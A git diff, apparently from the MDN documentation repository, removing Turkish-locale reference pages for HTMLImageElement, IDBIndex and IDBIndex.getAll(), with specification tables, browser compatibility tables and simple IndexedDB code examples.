<td>{{SpecName('HTML WHATWG', "embedded-content.html#the-img-element", "HTMLImageElement")}}</td> - <td>{{Spec2('HTML WHATWG')}}</td> - <td>The following properties have been added: <code>srcset</code>, <code>currentSrc</code> and <code>sizes</code>.</td> - </tr> - <tr> - <td>{{SpecName('HTML5 W3C', "embedded-content-0.html#the-img-element", "HTMLImageElement")}}</td> - <td>{{Spec2('HTML5 W3C')}}</td> - <td>A constructor (with 2 optional parameters) has been added.<br> - The following properties are now obsolete: <code>name</code>, <code>border</code>, <code>align</code>, <code>hspace</code>, <code>vspace</code>, and <code>longdesc</code>.<br> - The following properties are now <code>unsigned long</code>, instead of <code>long</code>: <code>height</code>, and <code>width</code>.<br> - The following properties have been added: <code>crossorigin</code>, <code>naturalWidth</code>, <code>naturalHeight</code>, and <code>complete</code>.</td> - </tr> - <tr> - <td>{{SpecName('DOM2 HTML', 'html.html#ID-17701901', 'HTMLImgElement')}}</td> - <td>{{Spec2('DOM2 HTML')}}</td> - <td>The <code>lowSrc</code> property has been removed.<br> - The following properties are now <code>long</code>, instead of <code>DOMString</code>: <code>height</code>, <code>width</code>, <code>hspace</code>, and <code>vspace</code>.</td> - </tr> - <tr> - <td>{{SpecName('DOM1', 'level-one-html.html#ID-17701901', 'HTMLImgElement')}}</td> - <td>{{Spec2('DOM1')}}</td> - <td>Initial definition.</td> - </tr> - </tbody> -</table> - -<h2 id="Browser_compatibility">Browser compatibility</h2> - -<div>{{CompatibilityTable}}</div> - -<div id="compat-desktop"> -<table class="compat-table"> - <tbody> - <tr> - <th>Feature</th> - <th>Chrome</th> - <th>Edge</th> - <th>Firefox (Gecko)</th> - <th>Internet Explorer</th> - <th>Opera</th> - <th>Safari (WebKit)</th> - </tr> - <tr> - <td>Basic support</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatGeckoDesktop(1.0)}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - </tr> - <tr> - <td><code>lowSrc</code></td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - </tr> - <tr> - <td><code>naturalWidth</code>, <code>naturalHeight</code></td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>9</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - </tr> - <tr> - <td><code>crossorigin</code></td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>9</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - </tr> - <tr> - <td><code>complete</code></td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>5<sup>[4]</sup></td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - </tr> - <tr> - <td><code>srcset</code> {{experimental_inline}}</td> - <td>{{CompatChrome(34)}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatGeckoDesktop(32)}}<sup>[2]</sup></td> - <td>{{CompatNo}}</td> - <td>21</td> - <td>{{CompatSafari(7.1)}}</td> - </tr> - <tr> - <td><code>currentSrc </code>{{experimental_inline}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatGeckoDesktop(32)}}<sup>[2]</sup></td> - <td>{{CompatNo}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatNo}}</td> - </tr> - <tr> - <td><code>sizes</code> {{experimental_inline}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatGeckoDesktop(33)}}<sup>[3]</sup></td> - <td>{{CompatNo}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatNo}}</td> - </tr> - <tr> - <td><code>x</code> and <code>y</code></td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>14<sup>[1]</sup></td> - <td>{{CompatNo}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - </tr> - <tr> - <td><code>referrerPolicy</code> {{experimental_inline}}</td> - <td>{{CompatChrome(51)}}</td> - <td>{{CompatNo}}</td> - <td>{{CompatGeckoDesktop(50)}}</td> - <td>{{CompatNo}}</td> - <td>{{CompatNo}}</td> - <td>{{CompatNo}}</td> - </tr> - <tr> - <td><code>onerror</code> event handler</td> - <td>{{CompatNo}}</td> - <td>{{CompatUnknown}}</td> - <td>{{CompatGeckoDesktop(51)}}<sup>[5]</sup></td> - <td>{{CompatNo}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - </tr> - </tbody> -</table> -</div> - -<div id="compat-mobile"> -<table class="compat-table"> - <tbody> - <tr> - <th>Feature</th> - <th>Android Webview</th> - <th>Chrome for Android</th> - <th>Edge</th> - <th>Firefox Mobile (Gecko)</th> - <th>IE Phone</th> - <th>Opera Mobile</th> - <th>Safari Mobile</th> - </tr> - <tr> - <td>Basic support</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatGeckoMobile(1.0)}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - </tr> - <tr> - <td><code>lowSrc</code></td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatUnknown}}</td> - <td>{{CompatUnknown}}</td> - <td>{{CompatUnknown}}</td> - <td>{{CompatUnknown}}</td> - </tr> - <tr> - <td><code>naturalWidth</code>, <code>naturalHeight</code></td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatUnknown}}</td> - <td>9</td> - <td>{{CompatUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - </tr> - <tr> - <td><code>crossorigin</code></td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatUnknown}}</td> - <td>{{CompatUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - </tr> - <tr> - <td><code>complete</code></td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatUnknown}}</td> - <td>{{CompatUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - </tr> - <tr> - <td><code>srcset</code> {{experimental_inline}}</td> - <td>{{CompatChrome(34)}}</td> - <td>{{CompatChrome(34)}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatGeckoMobile(32)}}<sup>[2]</sup></td> - <td>{{CompatNo}}</td> - <td>{{CompatNo}}</td> - <td>iOS 8</td> - </tr> - <tr> - <td><code>currentSrc </code>{{experimental_inline}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatGeckoMobile(32)}}<sup>[2]</sup></td> - <td>{{CompatNo}}</td> - <td>{{CompatNo}}</td> - <td>{{CompatNo}}</td> - </tr> - <tr> - <td><code>sizes</code> {{experimental_inline}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatGeckoMobile(33)}}<sup>[3]</sup></td> - <td>{{CompatNo}}</td> - <td>{{CompatNo}}</td> - <td>{{CompatNo}}</td> - </tr> - <tr> - <td><code>x</code> and <code>y</code></td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>14<sup>[1]</sup></td> - <td>{{CompatNo}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - </tr> - <tr> - <td><code>referrerPolicy</code> {{experimental_inline}}</td> - <td>{{CompatChrome(51)}}</td> - <td>{{CompatChrome(51)}}</td> - <td>{{CompatNo}}</td> - <td>{{CompatGeckoMobile(50)}}</td> - <td>{{CompatNo}}</td> - <td>{{CompatNo}}</td> - <td>{{CompatNo}}</td> - </tr> - <tr> - <td><code>onerror</code> event handler</td> - <td>{{CompatNo}}</td> - <td>{{CompatNo}}</td> - <td>{{CompatUnknown}}</td> - <td>{{CompatGeckoMobile(51)}}</td> - <td>{{CompatNo}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - </tr> - </tbody> -</table> -</div> - -<p>[1] Though, these <code>x</code> and <code>y</code> properties were removed in Gecko 7.0 {{geckoRelease("7.0")}} but later, they were restored in Gecko 14.0 {{geckoRelease("14.0")}} for compatibility reasons.</p> - -<p>[2] This feature is behind the <code>dom.image.srcset.enabled</code> preference, defaulting to <code>false</code>.</p> - -<p>[3] This feature is behind the <code>dom.image.picture.enabled</code> preference, defaulting to <code>false</code>.</p> - -<p>[4] IE reports <code>false</code> for broken images.</p> - -<p>[5] May also be supported in earlier versions.</p> - -<h2 id="See_also">See also</h2> - -<ul> - <li>The HTML element implementing this interface: {{HTMLElement("img")}}</li> -</ul> diff --git a/files/tr/web/api/idbindex/getall/index.html b/files/tr/web/api/idbindex/getall/index.html deleted file mode 100644 index dfbd31c48d..0000000000 --- a/files/tr/web/api/idbindex/getall/index.html +++ /dev/null @@ -1,164 +0,0 @@ ---- -title: IDBIndex.getAll() -slug: Web/API/IDBIndex/getAll -translation_of: Web/API/IDBIndex/getAll ---- -<p>{{ APIRef("IndexedDB") }}</p> - -<div> -<p><strong><code>getAll()</code></strong> metodu {{domxref("IDBIndex")}} Arabirimi, dizinin içindeki tüm nesneleri alır.</p> -</div> - -<p>Nesne tembel olarak oluşturulduğundan, bir imlecin value özelliğine bakmakla ilişkili bir performans maliyeti söz konusudur. GetAll () gibi bir özellik kullanmak için, tarayıcının tüm nesneleri aynı anda oluşturması gerekir. Örneğin sadece anahtarların her birine bakmak istiyorsanız, bir imleci kullanmak daha etkilidir. Ancak, bir nesne deposundaki tüm nesnelerin bir dizisini almaya çalışıyorsanız, getAll () kullanmalısınız.</p> - -<h2 id="Syntax">Syntax</h2> - -<pre class="syntaxbox">var getAllKeysRequest = <em>IDBIndex</em>.getAll(); -var getAllKeysRequest = <em>IDBIndex</em>.getAll(<em>query</em>); -var getAllKeysRequest = <em>IDBIndex</em>.getAll(<em>query</em>, <em>count</em>);</pre> - -<h3 id="Parametreler">Parametreler</h3> - -<dl> - <dt><em>query</em> {{optional_inline}}</dt> - <dd>A key or an {{domxref("IDBKeyRange")}} identifying the records to retrieve. If this value is null or missing, the browser will use an unbound key range.</dd> - <dt><em>count</em> {{optional_inline}}</dt> - <dd>The number records to return. If this value exceeds the number of records in the query, the browser will only retrieve the first item. If it is lower than <code>0</code> or greater than <code>2<sup>32</sup>-1</code> a {{jsxref("TypeError")}} exception will be thrown.</dd> -</dl> - -<h3 id="Return_value">Return value</h3> - -<p>An {{domxref("IDBRequest")}} object on which subsequent events related to this operation are fired.</p> - -<h3 id="Exceptions">Exceptions</h3> - -<p>This method may raise a {{domxref("DOMException")}} of the following types:</p> - -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Exception</th> - <th scope="col">Description</th> - </tr> - </thead> - <tbody> - <tr> - <td><code>TransactionInactiveError</code></td> - <td>This {{domxref("IDBIndex")}}'s transaction is inactive.</td> - </tr> - <tr> - <td><code>InvalidStateError</code></td> - <td>The {{domxref("IDBIndex")}} has been deleted or removed.</td> - </tr> - </tbody> -</table> - -<p>A {{jsxref("TypeError")}} exception is thrown if the <code>count</code> parameter is not between <code>0</code> and <code>2<sup>32</sup>-1</code> included.</p> - -<h2 id="Example">Example</h2> - -<pre class="brush: js">var myIndex = objectStore.index('index'); -var getAllKeysRequest = myIndex.getAllKeys(); -getAllKeysRequest.onsuccess = function() { - console.log(getAllKeysRequest.result); -}</pre> - -<h2 id="Specification">Specification</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Specification</th> - <th scope="col">Status</th> - <th scope="col">Comment</th> - </tr> - <tr> - <td>{{SpecName('IndexedDB 2', '#dom-idbindex-getall', 'getAll()')}}</td> - <td>{{Spec2('IndexedDB 2')}}</td> - <td>Initial definition.</td> - </tr> - </tbody> -</table> - -<h2 id="Browser_compatibility">Browser compatibility</h2> - -<p>{{ CompatibilityTable }}</p> - -<div id="compat-desktop"> -<table class="compat-table"> - <tbody> - <tr> - <th>Feature</th> - <th>Chrome</th> - <th>Firefox (Gecko)</th> - <th>Internet Explorer</th> - <th>Opera</th> - <th>Safari (WebKit)</th> - </tr> - <tr> - <td>Basic support</td> - <td>{{ CompatChrome(48) }}</td> - <td>{{ CompatGeckoDesktop("44.0") }} [1]</td> - <td>{{ CompatNo }}</td> - <td>{{CompatOpera(35)}}</td> - <td>{{ CompatNo}}</td> - </tr> - <tr> - <td>Indexed Database 2.0</td> - <td>{{CompatChrome(58)}}</td> - <td>{{CompatUnknown}}</td> - <td>{{CompatUnknown}}</td> - <td>{{CompatOpera(45)}}</td> - <td>{{CompatUnknown}}</td> - </tr> - </tbody> -</table> -</div> - -<div id="compat-mobile"> -<table class="compat-table"> - <tbody> - <tr> - <th>Feature</th> - <th>Android Webview</th> - <th>Chrome for Android</th> - <th>Firefox Mobile (Gecko)</th> - <th>IE Phone</th> - <th>Opera Mobile</th> - <th>Safari Mobile</th> - </tr> - <tr> - <td>Basic support</td> - <td>{{ CompatChrome(48) }}</td> - <td>{{ CompatChrome(48) }}</td> - <td>{{ CompatGeckoDesktop("44.0") }} [1]</td> - <td>{{ CompatNo}}</td> - <td>{{CompatOperaMobile(35)}}</td> - <td>{{ CompatNo}}</td> - </tr> - <tr> - <td>Indexed Database 2.0</td> - <td>{{CompatChrome(58)}}</td> - <td>{{CompatChrome(58)}}</td> - <td>{{CompatUnknown}}</td> - <td>{{CompatUnknown}}</td> - <td>{{CompatOperaMobile(45)}}</td> - <td>{{CompatUnknown}}</td> - </tr> - </tbody> -</table> -</div> - -<p> [1] This feature was available since Firefox 24, but behind the <code>dom.indexedDB.experimental</code> pref, off by default</p> - -<h2 id="See_also">See also</h2> - -<ul> - <li><a href="/en-US/docs/Web/API/IndexedDB_API/Using_IndexedDB">Using IndexedDB</a></li> - <li>Starting transactions: {{domxref("IDBDatabase")}}</li> - <li>Using transactions: {{domxref("IDBTransaction")}}</li> - <li>Setting a range of keys: {{domxref("IDBKeyRange")}}</li> - <li>Retrieving and making changes to your data: {{domxref("IDBObjectStore")}}</li> - <li>Using cursors: {{domxref("IDBCursor")}}</li> - <li>Reference example: <a class="external" href="https://github.com/mdn/to-do-notifications/tree/gh-pages">To-do Notifications</a> (<a class="external" href="https://mdn.github.io/to-do-notifications/">view example live</a>.)</li> -</ul> diff --git a/files/tr/web/api/idbindex/index.html b/files/tr/web/api/idbindex/index.html deleted file mode 100644 index a14089a7f3..0000000000 --- a/files/tr/web/api/idbindex/index.html +++ /dev/null @@ -1,337 +0,0 @@ ---- -title: IDBIndex -slug: Web/API/IDBIndex -tags: - - API - - Database - - IDBIndex - - IndexedDB - - Interface - - NeedsTranslation - - Reference - - Storage - - TopicStub -translation_of: Web/API/IDBIndex ---- -<p>{{APIRef("IndexedDB")}}</p> - -<p><span class="seoSummary"><code>IDBIndex</code> interface of the <a href="/en/IndexedDB" title="en/IndexedDB">IndexedDB API</a> provides asynchronous access to an <a href="/en/IndexedDB/Basic_Concepts_Behind_IndexedDB#gloss_index" title="en/IndexedDB/Basic_Concepts_Behind_IndexedDB#gloss_index">index</a> in a database. An index is a kind of object store for looking up records in another object store, called the referenced object store. You use this interface to retrieve data.</span></p> - -<p>You can retrieve records in an object store through the primary key or by using an index. An index lets you look up records in an object store using properties of the values in the object stores records other than the primary key</p> - -<p>The index is a persistent key-value storage where the value part of its records is the key part of a record in the referenced object store. The records in an index are automatically populated whenever records in the referenced object store are inserted, updated, or deleted. Each record in an index can point to only one record in its referenced object store, but several indexes can reference the same object store. When the object store changes, all indexes that refers to the object store are automatically updated.</p> - -<p><span style="line-height: 1.5;">You can grab a set of keys within a range. To learn more, see {{domxref("IDBKeyRange")}}.</span></p> - -<p>{{AvailableInWorkers}}</p> - -<h2 id="Properties">Properties</h2> - -<dl> - <dt>{{domxref("IDBIndex.isAutoLocale")}} {{readonlyInline}} {{ Non-Standard_inline() }}</dt> - <dd>Returns a {{domxref("Boolean")}} indicating whether the index had a <code>locale</code> value of <code>auto</code> specified upon its creation (see <a href="https://developer.mozilla.org/en-US/docs/Web/API/IDBObjectStore/createIndex#Parameters"><code>createIndex()</code>'s optionalParameters</a>.)</dd> - <dt>{{domxref("IDBIndex.locale")}} {{readonlyInline}} {{ Non-Standard_inline() }}</dt> - <dd>Returns the locale of the index (for example <code>en-US</code>, or <code>pl</code>) if it had a <code>locale</code> value specified upon its creation (see <a href="https://developer.mozilla.org/en-US/docs/Web/API/IDBObjectStore/createIndex#Parameters"><code>createIndex()</code>'s optionalParameters</a>.)</dd> - <dt>{{domxref("IDBIndex.name")}}</dt> - <dd>The name of this index.</dd> - <dt>{{domxref("IDBIndex.objectStore")}} {{readonlyInline}}</dt> - <dd>The name of the object store referenced by this index.</dd> - <dt>{{domxref("IDBIndex.keyPath")}} {{readonlyInline}}</dt> - <dd>The <a href="/en/IndexedDB#gloss_key_path" title="en/IndexedDB#gloss key path">key path</a> of this index. If null, this index is not <a href="/en/IndexedDB/Index#gloss_auto-populated" title="en/IndexedDB/Index#gloss auto-populated">auto-populated</a>.</dd> - <dt>{{domxref("IDBIndex.multiEntry")}} {{readonlyInline}}</dt> - <dd>Affects how the index behaves when the result of evaluating the index's key path yields an array. If <code>true</code>, there is one record in the index for each item in an array of keys. If <code>false</code>, then there is one record for each key that is an array.</dd> - <dt>{{domxref("IDBIndex.unique")}} {{readonlyInline}}</dt> - <dd>If <code>true</code>, this index does not allow duplicate values for a key.</dd> -</dl> - -<h2 id="Methods">Methods</h2> - -<p>Inherits from: <a href="/en/DOM/EventTarget" title="en/DOM/EventTarget">EventTarget</a></p> - -<dl> - <dt>{{domxref("IDBIndex.count()")}}</dt> - <dd>Returns an {{domxref("IDBRequest")}} object, and in a separate thread, returns the number of records within a key range.</dd> - <dt>{{domxref("IDBIndex.get()")}}</dt> - <dd>Returns an {{domxref("IDBRequest")}} object, and, in a separate thread, finds either the value in the referenced object store that corresponds to the given key or the first corresponding value, if <code>key</code> is an {{domxref("IDBKeyRange")}}.</dd> - <dt>{{domxref("IDBIndex.getKey()")}}</dt> - <dd>Returns an {{domxref("IDBRequest")}} object, and, in a separate thread, finds either the given key or the primary key, if <code>key</code> is an {{domxref("IDBKeyRange")}}.</dd> - <dt>{{domxref("IDBIndex.getAll()")}}</dt> - <dd>Returns an {{domxref("IDBRequest")}} object, in a separate thread, finds all matching values in the referenced object store that correspond to the given key or are in range, if <code>key</code> is an {{domxref("IDBKeyRange")}}.</dd> - <dt>{{domxref("IDBIndex.getAllKeys()")}}</dt> - <dd>Returns an {{domxref("IDBRequest")}} object, in a separate thread, finds all matching keys in the referenced object store that correspond to the given key or are in range, if <code>key</code> is an {{domxref("IDBKeyRange")}}.</dd> - <dt>{{domxref("IDBIndex.openCursor()")}}</dt> - <dd>Returns an {{domxref("IDBRequest")}} object, and, in a separate thread, creates a <a href="/en/IndexedDB#gloss_cursor" title="en/IndexedDB#gloss cursor">cursor</a> over the specified key range.</dd> - <dt>{{domxref("IDBIndex.openKeyCursor()")}}</dt> - <dd>Returns an {{domxref("IDBRequest")}} object, and, in a separate thread, creates a cursor over the specified key range, as arranged by this index.</dd> -</dl> - -<h2 id="Example">Example</h2> - -<p>In the following example we open a transaction and an object store, then get the index <code>lName</code> from a simple contacts database. We then open a basic cursor on the index using {{domxref("IDBIndex.openCursor")}} — this works the same as opening a cursor directly on an <code>ObjectStore</code> using {{domxref("IDBObjectStore.openCursor")}} except that the returned records are sorted based on the index, not the primary key.</p> - -<p>Finally, we iterate through each record, and insert the data into an HTML table. For a complete working example, see our <a href="https://mdn.github.io/indexeddb-examples/idbindex/">IDBIndex-example demo repo</a> (<a href="https://github.com/mdn/indexeddb-examples/tree/master/idbindex">View the example live</a>.)</p> - -<pre class="brush: js" style="font-size: 14px;">function displayDataByIndex() { - tableEntry.innerHTML = ''; - var transaction = db.transaction(['contactsList'], 'readonly'); - var objectStore = transaction.objectStore('contactsList'); - - var myIndex = objectStore.index('lName'); - myIndex.openCursor().onsuccess = function(event) { - var cursor = event.target.result; - if(cursor) { - var tableRow = document.createElement('tr'); - tableRow.innerHTML = '<td>' + cursor.value.id + '</td>' - + '<td>' + cursor.value.lName + '</td>' - + '<td>' + cursor.value.fName + '</td>' - + '<td>' + cursor.value.jTitle + '</td>' - + '<td>' + cursor.value.company + '</td>' - + '<td>' + cursor.value.eMail + '</td>' - + '<td>' + cursor.value.phone + '</td>' - + '<td>' + cursor.value.age + '</td>'; - tableEntry.appendChild(tableRow); - - cursor.continue(); - } else { - console.log('Entries all displayed.'); - } - }; -};</pre> - -<h2 id="Specification">Specification</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Specification</th> - <th scope="col">Status</th> - <th scope="col">Comment</th> - </tr> - <tr> - <td>{{SpecName('IndexedDB', '#idl-def-IDBIndex', 'IDBIndex')}}</td> - <td>{{Spec2('IndexedDB')}}</td> - <td> </td> - </tr> - <tr> - <td>{{SpecName("IndexedDB 2", "#index-interface", "IDBIndex")}}</td> - <td>{{Spec2("IndexedDB 2")}}</td> - <td> </td> - </tr> - </tbody> -</table> - -<h2 id="Browser_compatibility" name="Browser_compatibility">Browser compatibility</h2> - -<p>{{ CompatibilityTable() }}</p> - -<div id="compat-desktop"> -<table class="compat-table"> - <tbody> - <tr> - <th>Feature</th> - <th>Chrome</th> - <th>Edge</th> - <th>Firefox (Gecko)</th> - <th>Internet Explorer</th> - <th>Opera</th> - <th>Safari (WebKit)</th> - </tr> - <tr> - <td>Basic support</td> - <td>{{CompatChrome(23.0)}}{{property_prefix("webkit")}}<br> - {{CompatChrome(24.0)}} (unprefixed)<br> - {{CompatChrome(38)}} (prefixes deprecated)<br> - {{CompatChrome(57)}} (prefixes removed)</td> - <td>{{CompatVersionUnknown}}</td> - <td>10 {{property_prefix("moz")}}<br> - {{CompatGeckoDesktop("16.0")}}</td> - <td>10, partial</td> - <td>{{CompatOpera(15)}}<br> - {{CompatOpera(44)}} (prefixes removed)</td> - <td>7.1</td> - </tr> - <tr> - <td><code>count()</code></td> - <td>{{CompatChrome(23.0)}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{ CompatGeckoDesktop("22.0") }}</td> - <td>10, partial</td> - <td>{{CompatOpera(15)}}</td> - <td>7.1</td> - </tr> - <tr> - <td><code>getAll()</code> and <code>getAllKeys()</code></td> - <td>{{CompatChrome(48.0)}}</td> - <td>{{CompatNo}}</td> - <td>{{ CompatGeckoDesktop("24.0") }}<br> - behind <code>dom.indexedDB.experimental</code> pref</td> - <td>{{ CompatNo() }}</td> - <td>{{ CompatNo() }}</td> - <td>{{ CompatNo() }}</td> - </tr> - <tr> - <td>Available in workers</td> - <td>{{CompatVersionUnknown}} (unprefixed)<br> - {{CompatChrome(38)}} (prefixes deprecated)<br> - {{CompatChrome(57)}} (prefixes removed)</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatGeckoDesktop("37.0")}}</td> - <td>{{CompatUnknown}}</td> - <td>{{CompatVersionUnknown}}<br> - {{CompatOpera(44)}} (prefixes removed)</td> - <td>{{CompatUnknown}}</td> - </tr> - <tr> - <td><code>isAutoLocale</code> and <code>locale</code></td> - <td>{{ CompatNo() }}</td> - <td>{{CompatNo}}</td> - <td> - <p>{{CompatGeckoDesktop("43.0")}}<br> - behind <code>dom.indexedDB.experimental</code> pref</p> - </td> - <td>{{ CompatNo() }}</td> - <td>{{ CompatNo() }}</td> - <td>{{ CompatNo() }}</td> - </tr> - <tr> - <td><code>name</code> setter available</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatGeckoDesktop(49)}}</td> - <td>{{CompatUnknown}}</td> - <td>{{CompatUnknown}}</td> - <td>{{CompatUnknown}}</td> - </tr> - <tr> - <td>Indexed Database 2.0</td> - <td>{{CompatChrome(58)}}</td> - <td>{{CompatUnknown}}</td> - <td>{{CompatUnknown}}</td> - <td>{{CompatUnknown}}</td> - <td>{{CompatOpera(45)}}</td> - <td>{{CompatUnknown}}</td> - </tr> - </tbody> -</table> -</div> - -<div id="compat-mobile"> -<table class="compat-table"> - <tbody> - <tr> - <th>Feature</th> - <th>Android Webview</th> - <th>Chrome for Android </th> - <th>Edge</th> - <th>Firefox Mobile (Gecko)</th> - <th>Firefox OS</th> - <th>IE Phone</th> - <th>Opera Mobile</th> - <th>Safari Mobile</th> - </tr> - <tr> - <td>Basic support</td> - <td>{{CompatVersionUnknown}}<br> - {{CompatChrome(38)}} (prefixes deprecated)<br> - {{CompatChrome(57)}} (prefixes removed)</td> - <td>{{CompatVersionUnknown}}<br> - {{CompatChrome(38)}} (prefixes deprecated)<br> - {{CompatChrome(57)}} (prefixes removed)</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{ CompatGeckoMobile("22.0") }}</td> - <td>1.0.1</td> - <td>10</td> - <td>{{CompatOperaMobile(22)}}<br> - {{CompatOperaMobile(44)}} (prefixes removed)</td> - <td>{{ CompatNo() }}</td> - </tr> - <tr> - <td><code>count()</code></td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{ CompatGeckoMobile("22.0") }}</td> - <td>1.0.1</td> - <td>10</td> - <td>{{CompatOperaMobile(22)}}</td> - <td>{{ CompatNo() }}</td> - </tr> - <tr> - <td><code>getAll()</code> and <code>getAllKeys()</code></td> - <td>{{CompatChrome(48.0)}}</td> - <td> </td> - <td>{{CompatNo}}</td> - <td>{{ CompatGeckoMobile("24.0") }}<br> - behind <code>dom.indexedDB.experimental</code> pref</td> - <td>1.1 behind<br> - <code>dom.indexedDB.experimental</code> pref</td> - <td>{{ CompatNo() }}</td> - <td>{{ CompatNo() }}</td> - <td>{{ CompatNo() }}</td> - </tr> - <tr> - <td>Available in workers</td> - <td>{{CompatVersionUnknown}} (unprefixed)<br> - {{CompatChrome(38)}} (prefixes deprecated)<br> - {{CompatChrome(57)}} (prefixes removed)</td> - <td>{{CompatVersionUnknown}} (unprefixed)<br> - {{CompatChrome(38)}} (prefixes deprecated)<br> - {{CompatChrome(57)}} (prefixes removed)</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatGeckoMobile("37.0")}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatUnknown}}</td> - <td>{{CompatVersionUnknown}}<br> - {{CompatOperaMobile(44)}} (prefixes removed)</td> - <td>{{CompatUnknown}}</td> - </tr> - <tr> - <td><code>isAutoLocale</code> and <code>locale</code></td> - <td>{{ CompatNo()}}</td> - <td>{{CompatNo}}</td> - <td>{{CompatNo}}</td> - <td>{{CompatGeckoMobile("43.0")}}<br> - behind <code>dom.indexedDB.experimental</code> pref</td> - <td>2.5<br> - behind <code>dom.indexedDB.experimental</code> pref</td> - <td>{{ CompatNo() }}</td> - <td>{{ CompatNo() }}</td> - <td>{{ CompatNo() }}</td> - </tr> - <tr> - <td><code>name</code> setter available</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatGeckoMobile(49)}}</td> - <td>{{CompatUnknown}}</td> - <td>{{CompatUnknown}}</td> - <td>{{CompatVersionUnknown}}</td> - <td>{{CompatUnknown}}</td> - </tr> - <tr> - <td>Indexed Database 2.0</td> - <td>{{CompatChrome(58)}}</td> - <td>{{CompatChrome(58)}}</td> - <td>{{CompatUnknown}}</td> - <td>{{CompatUnknown}}</td> - <td>{{CompatUnknown}}</td> - <td>{{CompatUnknown}}</td> - <td>{{CompatOperaMobile(45)}}</td> - <td>{{CompatUnknown}}</td> - </tr> - </tbody> -</table> -</div> - -<h2 id="See_also">See also</h2> - -<ul> - <li><a href="/en-US/docs/Web/API/IndexedDB_API/Using_IndexedDB">Using IndexedDB</a></li> - <li>Starting transactions: {{domxref("IDBDatabase")}}</li> - <li>Using transactions: {{domxref("IDBTransaction")}}</li> - <li>Setting a range of keys: {{domxref("IDBKeyRange")}}</li> - <li>Retrieving and making changes to your data: {{domxref("IDBObjectStore")}}</li> - <li>Using cursors: {{domxref("IDBCursor")}}</li> - <li>Reference example: <a class="external" href="https://github.com/mdn/to-do-notifications/tree/gh-pages">To-do Notifications</a> (<a class="external" href="http://mdn.github.io/to-do-notifications/">view example live</a>.)</li> -</ul> diff --git a/files/tr/web/api/index.html b/files/tr/web/api/index.html deleted file mode 100644 index d3c6aa02e3..0000000000 --- a/files/tr/web/api/index.html +++ /dev/null @@ -1,15 +0,0 @@ ---- -title: Web API Nesne Tipleri -slug: Web/API -tags: - - JavaScript - - Referans - - Türkçe JavaScript - - Uygulamalar - - Web - - dolap.com -translation_of: Web/API ---- 